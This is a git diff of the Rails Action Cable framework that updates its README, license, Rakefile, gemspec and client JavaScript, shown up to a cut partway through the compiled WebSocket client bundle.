-*   Buffer now writes to WebSocket connections, to avoid blocking threads
-    that could be doing more useful things.
-
-    *Matthew Draper*, *Tinco Andringa*
-
-*   Protect against concurrent writes to a WebSocket connection from
-    multiple threads; the underlying OS write is not always threadsafe.
-
-    *Tinco Andringa*
-
-*   Add `ActiveSupport::Notifications` hook to `Broadcaster#broadcast`.
-
-    *Matthew Wear*
-
-*   Close hijacked socket when connection is shut down.
-
-    Fixes #25613.
-
-    *Tinco Andringa*
-
-
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actioncable/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/actioncable/CHANGELOG.md) for previous changes.
diff --git a/actioncable/MIT-LICENSE b/actioncable/MIT-LICENSE
index 1a0e653b69938..be1075927c6b6 100644
--- a/actioncable/MIT-LICENSE
+++ b/actioncable/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2015-2017 Basecamp, LLC
+Copyright (c) 37signals LLC
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actioncable/README.md b/actioncable/README.md
index c55b7dc57bacf..0ae89cb41e5a2 100644
--- a/actioncable/README.md
+++ b/actioncable/README.md
@@ -1,567 +1,24 @@
-# Action Cable – Integrated WebSockets for Rails
+# Action Cable – Integrated WebSockets for \Rails
 
-Action Cable seamlessly integrates WebSockets with the rest of your Rails application.
+Action Cable seamlessly integrates WebSockets with the rest of your \Rails application.
 It allows for real-time features to be written in Ruby in the same style
-and form as the rest of your Rails application, while still being performant
+and form as the rest of your \Rails application, while still being performant
 and scalable. It's a full-stack offering that provides both a client-side
 JavaScript framework and a server-side Ruby framework. You have access to your full
 domain model written with Active Record or your ORM of choice.
 
-## Terminology
-
-A single Action Cable server can handle multiple connection instances. It has one
-connection instance per WebSocket connection. A single user may have multiple
-WebSockets open to your application if they use multiple browser tabs or devices.
-The client of a WebSocket connection is called the consumer.
-
-Each consumer can in turn subscribe to multiple cable channels. Each channel encapsulates
-a logical unit of work, similar to what a controller does in a regular MVC setup. For example,
-you could have a `ChatChannel` and an `AppearancesChannel`, and a consumer could be subscribed to either
-or to both of these channels. At the very least, a consumer should be subscribed to one channel.
-
-When the consumer is subscribed to a channel, they act as a subscriber. The connection between
-the subscriber and the channel is, surprise-surprise, called a subscription. A consumer
-can act as a subscriber to a given channel any number of times. For example, a consumer
-could subscribe to multiple chat rooms at the same time. (And remember that a physical user may
-have multiple consumers, one per tab/device open to your connection).
-
-Each channel can then again be streaming zero or more broadcastings. A broadcasting is a
-pubsub link where anything transmitted by the broadcaster is sent directly to the channel
-subscribers who are streaming that named broadcasting.
-
-As you can see, this is a fairly deep architectural stack. There's a lot of new terminology
-to identify the new pieces, and on top of that, you're dealing with both client and server side
-reflections of each unit.
-
-## Examples
-
-### A full-stack example
-
-The first thing you must do is define your `ApplicationCable::Connection` class in Ruby. This
-is the place where you authorize the incoming connection, and proceed to establish it,
-if all is well. Here's the simplest example starting with the server-side connection class:
-
-```ruby
-# app/channels/application_cable/connection.rb
-module ApplicationCable
-  class Connection < ActionCable::Connection::Base
-    identified_by :current_user
-
-    def connect
-      self.current_user = find_verified_user
-    end
-
-    private
-      def find_verified_user
-        if current_user = User.find_by(id: cookies.signed[:user_id])
-          current_user
-        else
-          reject_unauthorized_connection
-        end
-      end
-  end
-end
-```
-Here `identified_by` is a connection identifier that can be used to find the specific connection again or later.
-Note that anything marked as an identifier will automatically create a delegate by the same name on any channel instances created off the connection.
-
-This relies on the fact that you will already have handled authentication of the user, and
-that a successful authentication sets a signed cookie with the `user_id`. This cookie is then
-automatically sent to the connection instance when a new connection is attempted, and you
-use that to set the `current_user`. By identifying the connection by this same current_user,
-you're also ensuring that you can later retrieve all open connections by a given user (and
-potentially disconnect them all if the user is deleted or deauthorized).
-
-Next, you should define your `ApplicationCable::Channel` class in Ruby. This is the place where you put
-shared logic between your channels.
-
-```ruby
-# app/channels/application_cable/channel.rb
-module ApplicationCable
-  class Channel < ActionCable::Channel::Base
-  end
-end
-```
-
-The client-side needs to setup a consumer instance of this connection. That's done like so:
-
-```js
-// app/assets/javascripts/cable.js
-//= require action_cable
-//= require_self
-//= require_tree ./channels
-
-(function() {
-  this.App || (this.App = {});
-
-  App.cable = ActionCable.createConsumer("ws://cable.example.com");
-}).call(this);
-```
-
-The `ws://cable.example.com` address must point to your Action Cable server(s), and it
-must share a cookie namespace with the rest of the application (which may live under http://example.com).
-This ensures that the signed cookie will be correctly sent.
-
-That's all you need to establish the connection! But of course, this isn't very useful in
-itself. This just gives you the plumbing. To make stuff happen, you need content. That content
-is defined by declaring channels on the server and allowing the consumer to subscribe to them.
-
-
-### Channel example 1: User appearances
-
-Here's a simple example of a channel that tracks whether a user is online or not, and also what page they are currently on.
-(This is useful for creating presence features like showing a green dot next to a user's name if they're online).
-
-First you declare the server-side channel:
-
-```ruby
-# app/channels/appearance_channel.rb
-class AppearanceChannel < ApplicationCable::Channel
-  def subscribed
-    current_user.appear
-  end
-
-  def unsubscribed
-    current_user.disappear
-  end
-
-  def appear(data)
-    current_user.appear on: data['appearing_on']
-  end
-
-  def away
-    current_user.away
-  end
-end
-```
-
-The `#subscribed` callback is invoked when, as we'll show below, a client-side subscription is initiated. In this case,
-we take that opportunity to say "the current user has indeed appeared". That appear/disappear API could be backed by
-Redis or a database or whatever else. Here's what the client-side of that looks like:
-
-```coffeescript
-# app/assets/javascripts/cable/subscriptions/appearance.coffee
-App.cable.subscriptions.create "AppearanceChannel",
-  # Called when the subscription is ready for use on the server
-  connected: ->
-    @install()
-    @appear()
-
-  # Called when the WebSocket connection is closed
-  disconnected: ->
-    @uninstall()
-
-  # Called when the subscription is rejected by the server
-  rejected: ->
-    @uninstall()
-
-  appear: ->
-    # Calls `AppearanceChannel#appear(data)` on the server
-    @perform("appear", appearing_on: $("main").data("appearing-on"))
-
-  away: ->
-    # Calls `AppearanceChannel#away` on the server
-    @perform("away")
-
-
-  buttonSelector = "[data-behavior~=appear_away]"
-
-  install: ->
-    $(document).on "turbolinks:load.appearance", =>
-      @appear()
-
-    $(document).on "click.appearance", buttonSelector, =>
-      @away()
-      false
-
-    $(buttonSelector).show()
-
-  uninstall: ->
-    $(document).off(".appearance")
-    $(buttonSelector).hide()
-```
-
-Simply calling `App.cable.subscriptions.create` will setup the subscription, which will call `AppearanceChannel#subscribed`,
-which in turn is linked to the original `App.cable` -> `ApplicationCable::Connection` instances.
-
-Next, we link the client-side `appear` method to `AppearanceChannel#appear(data)`. This is possible because the server-side
-channel instance will automatically expose the public methods declared on the class (minus the callbacks), so that these
-can be reached as remote procedure calls via a subscription's `perform` method.
-
-### Channel example 2: Receiving new web notifications
-
-The appearance example was all about exposing server functionality to client-side invocation over the WebSocket connection.
-But the great thing about WebSockets is that it's a two-way street. So now let's show an example where the server invokes
-an action on the client.
-
-This is a web notification channel that allows you to trigger client-side web notifications when you broadcast to the right
-streams:
-
-```ruby
-# app/channels/web_notifications_channel.rb
-class WebNotificationsChannel < ApplicationCable::Channel
-  def subscribed
-    stream_from "web_notifications_#{current_user.id}"
-  end
-end
-```
-
-```coffeescript
-# Client-side, which assumes you've already requested the right to send web notifications
-App.cable.subscriptions.create "WebNotificationsChannel",
-  received: (data) ->
-    new Notification data["title"], body: data["body"]
-```
-
-```ruby
-# Somewhere in your app this is called, perhaps from a NewCommentJob
-ActionCable.server.broadcast \
-  "web_notifications_#{current_user.id}", { title: 'New things!', body: 'All the news that is fit to print' }
-```
-
-The `ActionCable.server.broadcast` call places a message in the Action Cable pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be `web_notifications_1`.
-The channel has been instructed to stream everything that arrives at `web_notifications_1` directly to the client by invoking the
-`#received(data)` callback. The data is the hash sent as the second parameter to the server-side broadcast call, JSON encoded for the trip
-across the wire, and unpacked for the data argument arriving to `#received`.
-
-
-### Passing Parameters to Channel
-
-You can pass parameters from the client side to the server side when creating a subscription. For example:
-
-```ruby
-# app/channels/chat_channel.rb
-class ChatChannel < ApplicationCable::Channel
-  def subscribed
-    stream_from "chat_#{params[:room]}"
-  end
-end
-```
-
-If you pass an object as the first argument to `subscriptions.create`, that object will become the params hash in your cable channel. The keyword `channel` is required.
-
-```coffeescript
-# Client-side, which assumes you've already requested the right to send web notifications
-App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
-  received: (data) ->
-    @appendLine(data)
-
-  appendLine: (data) ->
-    html = @createLine(data)
-    $("[data-chat-room='Best Room']").append(html)
-
-  createLine: (data) ->
-    """
-    <article class="chat-line">
-      <span class="speaker">#{data["sent_by"]}</span>
-      <span class="body">#{data["body"]}</span>
-    </article>
-    """
-```
-
-```ruby
-# Somewhere in your app this is called, perhaps from a NewCommentJob
-ActionCable.server.broadcast \
-  "chat_#{room}", { sent_by: 'Paul', body: 'This is a cool chat app.' }
-```
-
-
-### Rebroadcasting message
-
-A common use case is to rebroadcast a message sent by one client to any other connected clients.
-
-```ruby
-# app/channels/chat_channel.rb
-class ChatChannel < ApplicationCable::Channel
-  def subscribed
-    stream_from "chat_#{params[:room]}"
-  end
-
-  def receive(data)
-    ActionCable.server.broadcast "chat_#{params[:room]}", data
-  end
-end
-```
-
-```coffeescript
-# Client-side, which assumes you've already requested the right to send web notifications
-App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
-  received: (data) ->
-    # data => { sent_by: "Paul", body: "This is a cool chat app." }
-
-App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })
-```
-
-The rebroadcast will be received by all connected clients, _including_ the client that sent the message. Note that params are the same as they were when you subscribed to the channel.
-
-
-### More complete examples
-
-See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples) repository for a full example of how to setup Action Cable in a Rails app, and how to add channels.
-
-## Configuration
-
-Action Cable has three required configurations: a subscription adapter, allowed request origins, and the cable server URL (which can optionally be set on the client side).
-
-### Redis
-
-By default, `ActionCable::Server::Base` will look for a configuration file in `Rails.root.join('config/cable.yml')`.
-This file must specify an adapter and a URL for each Rails environment. It may use the following format:
-
-```yaml
-production: &production
-  adapter: redis
-  url: redis://10.10.3.153:6381
-development: &development
-  adapter: redis
-  url: redis://localhost:6379
-test: *development
-```
-
-You can also change the location of the Action Cable config file in a Rails initializer with something like:
-
-```ruby
-Rails.application.paths.add "config/cable", with: "somewhere/else/cable.yml"
-```
-
-### Allowed Request Origins
-
-Action Cable will only accept requests from specific origins.
-
-By default, only an origin matching the cable server itself will be permitted.
-Additional origins can be specified using strings or regular expressions, provided in an array.
-
-```ruby
-Rails.application.config.action_cable.allowed_request_origins = ['http://rubyonrails.com', /http:\/\/ruby.*/]
-```
-
-When running in the development environment, this defaults to "http://localhost:3000".
-
-To disable protection and allow requests from any origin:
-
-```ruby
-Rails.application.config.action_cable.disable_request_forgery_protection = true
-```
-
-To disable automatic access for same-origin requests, and strictly allow
-only the configured origins:
-
-```ruby
-Rails.application.config.action_cable.allow_same_origin_as_host = false
-```
-
-### Consumer Configuration
-
-Once you have decided how to run your cable server (see below), you must provide the server URL (or path) to your client-side setup.
-There are two ways you can do this.
-
-The first is to simply pass it in when creating your consumer. For a standalone server,
-this would be something like: `App.cable = ActionCable.createConsumer("ws://example.com:28080")`, and for an in-app server,
-something like: `App.cable = ActionCable.createConsumer("/cable")`.
-
-The second option is to pass the server URL through the `action_cable_meta_tag` in your layout.
-This uses a URL or path typically set via `config.action_cable.url` in the environment configuration files, or defaults to "/cable".
-
-This method is especially useful if your WebSocket URL might change between environments. If you host your production server via https, you will need to use the wss scheme
-for your Action Cable server, but development might remain http and use the ws scheme. You might use localhost in development and your
-domain in production.
-
-In any case, to vary the WebSocket URL between environments, add the following configuration to each environment:
-
-```ruby
-config.action_cable.url = "ws://example.com:28080"
-```
-
-Then add the following line to your layout before your JavaScript tag:
-
-```erb
-<%= action_cable_meta_tag %>
-```
-
-And finally, create your consumer like so:
-
-```coffeescript
-App.cable = ActionCable.createConsumer()
-```
-
-### Other Configurations
-
-The other common option to configure is the log tags applied to the per-connection logger. Here's an example that uses the user account id if available, else "no-account" while tagging:
-
-```ruby
-config.action_cable.log_tags = [
-  -> request { request.env['user_account_id'] || "no-account" },
-  :action_cable,
-  -> request { request.uuid }
-]
-```
-
-For a full list of all configuration options, see the `ActionCable::Server::Configuration` class.
-
-Also note that your server must provide at least the same number of database connections as you have workers. The default worker pool is set to 4, so that means you have to make at least that available. You can change that in `config/database.yml` through the `pool` attribute.
-
-
-## Running the cable server
-
-### Standalone
-The cable server(s) is separated from your normal application server. It's still a Rack application, but it is its own Rack
-application. The recommended basic setup is as follows:
-
-```ruby
-# cable/config.ru
-require ::File.expand_path('../../config/environment', __FILE__)
-Rails.application.eager_load!
-
-run ActionCable.server
-```
-
-Then you start the server using a binstub in bin/cable ala:
-```sh
-#!/bin/bash
-bundle exec puma -p 28080 cable/config.ru
-```
-
-The above will start a cable server on port 28080.
-
-### In app
-
-If you are using a server that supports the [Rack socket hijacking API](http://www.rubydoc.info/github/rack/rack/file/SPEC#Hijacking), Action Cable can run alongside your Rails application. For example, to listen for WebSocket requests on `/websocket`, specify that path to `config.action_cable.mount_path`:
-
-```ruby
-# config/application.rb
-class Application < Rails::Application
-  config.action_cable.mount_path = '/websocket'
-end
-```
-
-For every instance of your server you create and for every worker your server spawns, you will also have a new instance of Action Cable, but the use of Redis keeps messages synced across connections.
-
-### Notes
-
-Beware that currently, the cable server will _not_ auto-reload any changes in the framework. As we've discussed, long-running cable connections mean long-running objects. We don't yet have a way of reloading the classes of those objects in a safe manner. So when you change your channels, or the model your channels use, you must restart the cable server.
-
-We'll get all this abstracted properly when the framework is integrated into Rails.
-
-The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this [article](http://www.rubytutorial.io/actioncable-devise-authentication).
-
-## Dependencies
-
-Action Cable provides a subscription adapter interface to process its pubsub internals. By default, asynchronous, inline, PostgreSQL, evented Redis, and non-evented Redis adapters are included. The default adapter in new Rails applications is the asynchronous (`async`) adapter. To create your own adapter, you can look at `ActionCable::SubscriptionAdapter::Base` for all methods that must be implemented, and any of the adapters included within Action Cable as example implementations.
-
-The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby), [nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby).
-
-
-## Deployment
-
-Action Cable is powered by a combination of WebSockets and threads. All of the
-connection management is handled internally by utilizing Ruby’s native thread
-support, which means you can use all your regular Rails models with no problems
-as long as you haven’t committed any thread-safety sins.
-
-The Action Cable server does _not_ need to be a multi-threaded application server.
-This is because Action Cable uses the [Rack socket hijacking API](http://www.rubydoc.info/github/rack/rack/file/SPEC#Hijacking)
-to take over control of connections from the application server. Action Cable
-then manages connections internally, in a multithreaded manner, regardless of
-whether the application server is multi-threaded or not. So Action Cable works
-with all the popular application servers -- Unicorn, Puma and Passenger.
-
-Action Cable does not work with WEBrick, because WEBrick does not support the
-Rack socket hijacking API.
-
-## Frontend assets
-
-Action Cable's frontend assets are distributed through two channels: the
-official gem and npm package, both titled `actioncable`.
-
-### Gem usage
-
-Through the `actioncable` gem, Action Cable's frontend assets are
-available through the Rails Asset Pipeline. Create a `cable.js` or
-`cable.coffee` file (this is automatically done for you with Rails
-generators), and then simply require the assets:
-
-In JavaScript...
-
-```javascript
-//= require action_cable
-```
-
-... and in CoffeeScript:
-
-```coffeescript
-#= require action_cable
-```
-
-### npm usage
-
-In addition to being available through the `actioncable` gem, Action Cable's
-frontend JS assets are also bundled in an officially supported npm module,
-intended for usage in standalone frontend applications that communicate with a
-Rails application. A common use case for this could be if you have a decoupled
-frontend application written in React, Ember.js, etc. and want to add real-time
-WebSocket functionality.
-
-### Installation
-
-```
-npm install actioncable --save
-```
-
-### Usage
-
-The `ActionCable` constant is available as a `require`-able module, so
-you only have to require the package to gain access to the API that is
-provided.
-
-In JavaScript...
-
-```javascript
-ActionCable = require('actioncable')
-
-var cable = ActionCable.createConsumer('wss://RAILS-API-PATH.com/cable')
-
-cable.subscriptions.create('AppearanceChannel', {
-  // normal channel code goes here...
-});
-```
-
-and in CoffeeScript...
-
-```coffeescript
-ActionCable = require('actioncable')
-
-cable = ActionCable.createConsumer('wss://RAILS-API-PATH.com/cable')
-
-cable.subscriptions.create 'AppearanceChannel',
-    # normal channel code goes here...
-```
-
-## Download and Installation
-
-The latest version of Action Cable can be installed with [RubyGems](#gem-usage),
-or with [npm](#npm-usage).
-
-Source code can be downloaded as part of the Rails project on GitHub
-
-* https://github.com/rails/rails/tree/master/actioncable
-
-## License
-
-Action Cable is released under the MIT license:
-
-* http://www.opensource.org/licenses/MIT
-
+You can read more about Action Cable in the [Action Cable Overview](https://guides.rubyonrails.org/action_cable_overview.html) guide.
 
 ## Support
 
 API documentation is at:
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/actioncable/Rakefile b/actioncable/Rakefile
index 87d443919c3ac..f4ac5d83d49a8 100644
--- a/actioncable/Rakefile
+++ b/actioncable/Rakefile
@@ -1,42 +1,51 @@
+# frozen_string_literal: true
+
+require "base64"
 require "rake/testtask"
 require "pathname"
+require "open3"
 require "action_cable"
 
-dir = File.dirname(__FILE__)
-
 task default: :test
 
-task package: "assets:compile"
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 Rake::TestTask.new do |t|
   t.libs << "test"
-  t.test_files = Dir.glob("#{dir}/test/**/*_test.rb")
+  t.test_files = FileList["#{__dir__}/test/**/*_test.rb"]
   t.warning = true
   t.verbose = true
+  t.options = "--profile" if ENV["CI"]
   t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
 namespace :test do
-  task :isolated do
+  task isolated: :railties do
     Dir.glob("test/**/*_test.rb").all? do |file|
       sh(Gem.ruby, "-w", "-Ilib:test", file)
     end || raise("Failures")
   end
 
   task :integration do
-    require "blade"
-    if ENV["CI"]
-      Blade.start(interface: :ci)
-    else
-      Blade.start(interface: :runner)
-    end
+    system(Hash[*Base64.decode64(ENV.fetch("ENCODED", "")).split(/[ =]/)], "yarn", "test")
+    exit($?.exitstatus) unless $?.success?
+  end
+
+  task :railties do
+    ["action_cable/engine"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
   end
 end
 
 namespace :assets do
-  desc "Compile Action Cable assets"
-  task :compile do
-    require "blade"
-    Blade.build
+  desc "Generate ActionCable::INTERNAL JS module"
+  task :codegen do
+    require "json"
+    require "action_cable"
+
+    File.open(File.join(__dir__, "app/javascript/action_cable/internal.js").to_s, "w+") do |file|
+      file.write("export default #{JSON.pretty_generate(ActionCable::INTERNAL)}\n")
+    end
   end
 end
diff --git a/actioncable/actioncable.gemspec b/actioncable/actioncable.gemspec
index 6d95f022face0..132362da296eb 100644
--- a/actioncable/actioncable.gemspec
+++ b/actioncable/actioncable.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
@@ -7,19 +9,33 @@ Gem::Specification.new do |s|
   s.summary     = "WebSocket framework for Rails."
   s.description = "Structure many real-time application concerns into channels over a single WebSocket connection."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = ["Pratik Naik", "David Heinemeier Hansson"]
   s.email    = ["pratiknaik@gmail.com", "david@loudthinking.com"]
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
-  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*"]
+  s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.md", "lib/**/*", "app/assets/javascripts/*.js"]
   s.require_path = "lib"
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/actioncable/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/actioncable",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
+  s.add_dependency "activesupport", version
   s.add_dependency "actionpack", version
 
   s.add_dependency "nio4r",            "~> 2.0"
-  s.add_dependency "websocket-driver", "~> 0.6.1"
+  s.add_dependency "websocket-driver", ">= 0.6.1"
+  s.add_dependency "zeitwerk",         "~> 2.6"
 end
diff --git a/actioncable/app/assets/javascripts/.gitattributes b/actioncable/app/assets/javascripts/.gitattributes
new file mode 100644
index 0000000000000..7051e4979a08d
--- /dev/null
+++ b/actioncable/app/assets/javascripts/.gitattributes
@@ -0,0 +1,3 @@
+actioncable.js linguist-generated
+actioncable.esm.js linguist-generated
+action_cable.js linguist-generated
diff --git a/actioncable/app/assets/javascripts/action_cable.coffee.erb b/actioncable/app/assets/javascripts/action_cable.coffee.erb
deleted file mode 100644
index e0758dae72620..0000000000000
--- a/actioncable/app/assets/javascripts/action_cable.coffee.erb
+++ /dev/null
@@ -1,38 +0,0 @@
-#= export ActionCable
-#= require_self
-#= require ./action_cable/consumer
-
-@ActionCable =
-  INTERNAL: <%= ActionCable::INTERNAL.to_json %>
-  WebSocket: window.WebSocket
-  logger: window.console
-
-  createConsumer: (url) ->
-    url ?= @getConfig("url") ? @INTERNAL.default_mount_path
-    new ActionCable.Consumer @createWebSocketURL(url)
-
-  getConfig: (name) ->
-    element = document.head.querySelector("meta[name='action-cable-#{name}']")
-    element?.getAttribute("content")
-
-  createWebSocketURL: (url) ->
-    if url and not /^wss?:/i.test(url)
-      a = document.createElement("a")
-      a.href = url
-      # Fix populating Location properties in IE. Otherwise, protocol will be blank.
-      a.href = a.href
-      a.protocol = a.protocol.replace("http", "ws")
-      a.href
-    else
-      url
-
-  startDebugging: ->
-    @debugging = true
-
-  stopDebugging: ->
-    @debugging = null
-
-  log: (messages...) ->
-    if @debugging
-      messages.push(Date.now())
-      @logger.log("[ActionCable]", messages...)
diff --git a/actioncable/app/assets/javascripts/action_cable.js b/actioncable/app/assets/javascripts/action_cable.js
new file mode 100644
index 0000000000000..a8a2a22bd9def
--- /dev/null
+++ b/actioncable/app/assets/javascripts/action_cable.js
@@ -0,0 +1,511 @@
+(function(global, factory) {
+  typeof exports === "object" && typeof module !== "undefined" ? factory(exports) : typeof define === "function" && define.amd ? define([ "exports" ], factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, 
+  factory(global.ActionCable = {}));
+})(this, (function(exports) {
+  "use strict";
+  var adapters = {
+    logger: typeof console !== "undefined" ? console : undefined,
+    WebSocket: typeof WebSocket !== "undefined" ? WebSocket : undefined
+  };
+  var logger = {
+    log(...messages) {
+      if (this.enabled) {
+        messages.push(Date.now());
+        adapters.logger.log("[ActionCable]", ...messages);
+      }
+    }
+  };
+  const now = () => (new Date).getTime();
+  const secondsSince = time => (now() - time) / 1e3;
+  class ConnectionMonitor {
+    constructor(connection) {
+      this.visibilityDidChange = this.visibilityDidChange.bind(this);
+      this.connection = connection;
+      this.reconnectAttempts = 0;
+    }
+    start() {
+      if (!this.isRunning()) {
+        this.startedAt = now();
+        delete this.stoppedAt;
+        this.startPolling();
+        addEventListener("visibilitychange", this.visibilityDidChange);
+        logger.log(`ConnectionMonitor started. stale threshold = ${this.constructor.staleThreshold} s`);
+      }
+    }
+    stop() {
+      if (this.isRunning()) {
+        this.stoppedAt = now();
+        this.stopPolling();
+        removeEventListener("visibilitychange", this.visibilityDidChange);
+        logger.log("ConnectionMonitor stopped");
+      }
+    }
+    isRunning() {
+      return this.startedAt && !this.stoppedAt;
+    }
+    recordMessage() {
+      this.pingedAt = now();
+    }
+    recordConnect() {
+      this.reconnectAttempts = 0;
+      delete this.disconnectedAt;
+      logger.log("ConnectionMonitor recorded connect");
+    }
+    recordDisconnect() {
+      this.disconnectedAt = now();
+      logger.log("ConnectionMonitor recorded disconnect");
+    }
+    startPolling() {
+      this.stopPolling();
+      this.poll();
+    }
+    stopPolling() {
+      clearTimeout(this.pollTimeout);
+    }
+    poll() {
+      this.pollTimeout = setTimeout((() => {
+        this.reconnectIfStale();
+        this.poll();
+      }), this.getPollInterval());
+    }
+    getPollInterval() {
+      const {staleThreshold: staleThreshold, reconnectionBackoffRate: reconnectionBackoffRate} = this.constructor;
+      const backoff = Math.pow(1 + reconnectionBackoffRate, Math.min(this.reconnectAttempts, 10));
+      const jitterMax = this.reconnectAttempts === 0 ? 1 : reconnectionBackoffRate;
+      const jitter = jitterMax * Math.random();
+      return staleThreshold * 1e3 * backoff * (1 + jitter);
+    }
+    reconnectIfStale() {
+      if (this.connectionIsStale()) {
+        logger.log(`ConnectionMonitor detected stale connection. reconnectAttempts = ${this.reconnectAttempts}, time stale = ${secondsSince(this.refreshedAt)} s, stale threshold = ${this.constructor.staleThreshold} s`);
+        this.reconnectAttempts++;
+        if (this.disconnectedRecently()) {
+          logger.log(`ConnectionMonitor skipping reopening recent disconnect. time disconnected = ${secondsSince(this.disconnectedAt)} s`);
+        } else {
+          logger.log("ConnectionMonitor reopening");
+          this.connection.reopen();
+        }
+      }
+    }
+    get refreshedAt() {
+      return this.pingedAt ? this.pingedAt : this.startedAt;
+    }
+    connectionIsStale() {
+      return secondsSince(this.refreshedAt) > this.constructor.staleThreshold;
+    }
+    disconnectedRecently() {
+      return this.disconnectedAt && secondsSince(this.disconnectedAt) < this.constructor.staleThreshold;
+    }
+    visibilityDidChange() {
+      if (document.visibilityState === "visible") {
+        setTimeout((() => {
+          if (this.connectionIsStale() || !this.connection.isOpen()) {
+            logger.log(`ConnectionMonitor reopening stale connection on visibilitychange. visibilityState = ${document.visibilityState}`);
+            this.connection.reopen();
+          }
+        }), 200);
+      }
+    }
+  }
+  ConnectionMonitor.staleThreshold = 6;
+  ConnectionMonitor.reconnectionBackoffRate = .15;
+  var INTERNAL = {
+    message_types: {
+      welcome: "welcome",
+      disconnect: "disconnect",
+      ping: "ping",
+      confirmation: "confirm_subscription",
+      rejection: "reject_subscription"
+    },
+    disconnect_reasons: {
+      unauthorized: "unauthorized",
+      invalid_request: "invalid_request",
+      server_restart: "server_restart",
+      remote: "remote"
+    },
+    default_mount_path: "/cable",
+    protocols: [ "actioncable-v1-json", "actioncable-unsupported" ]
+  };
+  const {message_types: message_types, protocols: protocols} = INTERNAL;
+  const supportedProtocols = protocols.slice(0, protocols.length - 1);
+  const indexOf = [].indexOf;
+  class Connection {
+    constructor(consumer) {
+      this.open = this.open.bind(this);
+      this.consumer = consumer;
+      this.subscriptions = this.consumer.subscriptions;
+      this.monitor = new ConnectionMonitor(this);
+      this.disconnected = true;
+    }
+    send(data) {
+      if (this.isOpen()) {
+        this.webSocket.send(JSON.stringify(data));
+        return true;
+      } else {
+        return false;
+      }
+    }
+    open() {
+      if (this.isActive()) {
+        logger.log(`Attempted to open WebSocket, but existing socket is ${this.getState()}`);
+        return false;
+      } else {
+        const socketProtocols = [ ...protocols, ...this.consumer.subprotocols || [] ];
+        logger.log(`Opening WebSocket, current state is ${this.getState()}, subprotocols: ${socketProtocols}`);
+        if (this.webSocket) {
+          this.uninstallEventHandlers();
+        }
+        this.webSocket = new adapters.WebSocket(this.consumer.url, socketProtocols);
+        this.installEventHandlers();
+        this.monitor.start();
+        return true;
+      }
+    }
+    close({allowReconnect: allowReconnect} = {
+      allowReconnect: true
+    }) {
+      if (!allowReconnect) {
+        this.monitor.stop();
+      }
+      if (this.isOpen()) {
+        return this.webSocket.close();
+      }
+    }
+    reopen() {
+      logger.log(`Reopening WebSocket, current state is ${this.getState()}`);
+      if (this.isActive()) {
+        try {
+          return this.close();
+        } catch (error) {
+          logger.log("Failed to reopen WebSocket", error);
+        } finally {
+          logger.log(`Reopening WebSocket in ${this.constructor.reopenDelay}ms`);
+          setTimeout(this.open, this.constructor.reopenDelay);
+        }
+      } else {
+        return this.open();
+      }
+    }
+    getProtocol() {
+      if (this.webSocket) {
+        return this.webSocket.protocol;
+      }
+    }
+    isOpen() {
+      return this.isState("open");
+    }
+    isActive() {
+      return this.isState("open", "connecting");
+    }
+    triedToReconnect() {
+      return this.monitor.reconnectAttempts > 0;
+    }
+    isProtocolSupported() {
+      return indexOf.call(supportedProtocols, this.getProtocol()) >= 0;
+    }
+    isState(...states) {
+      return indexOf.call(states, this.getState()) >= 0;
+    }
+    getState() {
+      if (this.webSocket) {
+        for (let state in adapters.WebSocket) {
+          if (adapters.WebSocket[state] === this.webSocket.readyState) {
+            return state.toLowerCase();
+          }
+        }
+      }
+      return null;
+    }
+    installEventHandlers() {
+      for (let eventName in this.events) {
+        const handler = this.events[eventName].bind(this);
+        this.webSocket[`on${eventName}`] = handler;
+      }
+    }
+    uninstallEventHandlers() {
+      for (let eventName in this.events) {
+        this.webSocket[`on${eventName}`] = function() {};
+      }
+    }
+  }
+  Connection.reopenDelay = 500;
+  Connection.prototype.events = {
